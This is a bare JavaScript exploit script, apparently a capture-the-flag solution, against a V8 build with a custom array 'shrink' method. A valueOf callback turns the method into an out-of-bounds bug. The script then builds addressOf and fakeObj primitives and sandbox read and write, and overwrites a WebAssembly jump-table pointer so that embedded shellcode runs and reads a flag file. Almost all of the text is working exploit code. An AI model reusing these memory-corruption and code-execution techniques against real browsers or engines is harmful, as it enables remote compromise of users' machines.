1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
| var buf = new ArrayBuffer(8); var f32 = new Float32Array(buf); var f64 = new Float64Array(buf); var u8 = new Uint8Array(buf); var u16 = new Uint16Array(buf); var u32 = new Uint32Array(buf); var u64 = new BigUint64Array(buf);
function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0]; } function f64_to_u32l(val){ f64[0] = val; return u32[0]; } function f64_to_u32h(val){ f64[0] = val; return u32[1]; } function f64_to_u64(val){ f64[0] = val; return u64[0]; } function u64_to_f64(val){ u64[0] = val; return f64[0]; }
function u64_to_u32_lo(val){ u64[0] = val; return u32[0]; }
function u64_to_u32_hi(val){ u64[0] = val; return u32[1]; }
function stop(){ %SystemBreak(); }
function p(arg){ %DebugPrint(arg); }
function spin(){ console.log("spin..."); stop(); }
function stuck(){ console.log("readline...."); readline(); }
function hex(str){ return str.toString(16).padStart(16,0); }
function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val)); }
obj = { valueOf: function () { oob_arr.length = 0; oob_arr.push(1.1); return 29; }, };
var oob_arr = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]; oob_arr.shrink(obj); var vic_obj = [{}];
function addressOf(obj){ vic_obj[0] = obj; return f64_to_u32l(oob_arr[18]); }
function fakeObj(addr){ oob_arr[18] = lh_u32_to_f64(addr,0); return vic_obj[0]; }
var PACKED_DOUBLE_ELEMENTS = 0x1cce3d;
var fake_array = [ lh_u32_to_f64(PACKED_DOUBLE_ELEMENTS,0), lh_u32_to_f64(0,0x1000) ]
var fake_array_addr = addressOf(fake_array)+0x24; var fake_obj = fakeObj(fake_array_addr); logg("fake_array_addr", fake_array_addr);
function cage_read(addr){ addr |= 1; fake_array[1] = lh_u32_to_f64(addr-8,0x1000); return f64_to_u64(fake_obj[0]); }
function cage_write(addr,val){ addr |= 1; fake_array[1] = lh_u32_to_f64(addr-8,0x1000); fake_obj[0] = u64_to_f64(val); }
let cage_base = cage_read(0x8) & ~0xffffffffn; logg("cage_base", cage_base);
var cmd = "./flag.txt"; var cmd_addr = BigInt(addressOf(cmd)+0xc-1)+cage_base;
const wasm_bytes = new Uint8Array([ 0,97,115,109,1,0,0,0,1,5,1,96,1,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,81,1,79,0,66,200,146,158,142,163,154,228,245,2,66,234,132,196,177,143,139,228,245,2,66,143,138,160,202,232,152,228,245,2,66,234,200,197,145,157,200,214,245,2,66,234,130,252,130,137,146,228,245,2,66,234,208,192,132,137,146,228,245,2,66,216,158,148,128,137,146,228,245,2,26,26,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110 ]); const mod = new WebAssembly.Module(wasm_bytes); const instance = new WebAssembly.Instance(mod); const pwn = instance.exports.pwn;
var instance_addr = addressOf(instance); var trusted_data_addr = Number(cage_read(instance_addr+0xc) & 0xffffffffn); var jump_table_start_addr = cage_read(trusted_data_addr+0x30); var rop_addr = jump_table_start_addr + 0x85bn; cage_write(trusted_data_addr+0x30, (rop_addr)); logg("instance_addr", instance_addr); logg("trusted_data_addr", trusted_data_addr); logg("jump_table_start_addr", jump_table_start_addr); logg("rop_addr", rop_addr); pwn(cmd_addr)
|